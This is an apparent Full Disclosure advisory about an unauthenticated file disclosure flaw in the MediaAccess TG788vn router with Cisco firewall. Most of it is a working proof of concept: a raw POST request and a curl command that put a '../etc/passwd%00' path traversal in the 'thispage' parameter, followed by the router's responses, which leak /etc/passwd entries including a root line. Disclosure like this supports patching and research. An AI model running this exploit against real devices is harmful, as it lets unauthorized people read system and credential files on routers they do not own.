[FD] MediaAccess , unauthenticated file disclosure

Vulnerable hardware : MediaAccess TG788vn with Cisco http firewall Author : Ahmed Sultan (0x4148) Email : 0x4148@gmail.com MediaAccess TG788vn with Cisco firewall http config is vulnerable to critical unauthenticated file disclosure flaw, POC Request: POST /scgi-bin/platform.cgi HTTP/1.1 Host: xx.xx.xx.xx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://ift.tt/1S45Rkw Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 164 button.login.home=Se%20connecter&Login.userAgent=0x4148_Fu&reload=0&SSLVPNUser.Password=0x4148Fu&SSLVPNUser.UserName=0x4148&thispage=../../../../../../etc/passwd%00 Response: HTTP/1.0 200 OK Date: Sat, 01 Jan 2011 00:00:45 GMT Server: Embedded HTTP Server. Connection: close loic_ipsec:x:500:500:xauth:/:/bin/cli The juicy contents are found in the headers POC root@0x4148:~# curl "http://ift.tt/1S45Rkw" --data "button.login.home=Se%20connecter&Login.userAgent=0x4148Fu&reload=0&SSLVPNUser.Password=0x4148Fu&SSLVPNUser.UserName=0x4148&thispage=../../../../../../../../../../etc/passwd%00.htm" --insecure -i HTTP/1.0 200 OK Date: Sat, 01 Jan 2011 00:00:45 GMT Server: Embedded HTTP Server. Connection: close root:ROOT_PASSWORD:0:0:root:/:/bin/sh nobody:x:0:0:nobody:/nonexistent:/bin/false loic_ipsec:x:500:500:xauth:/:/bin/cli

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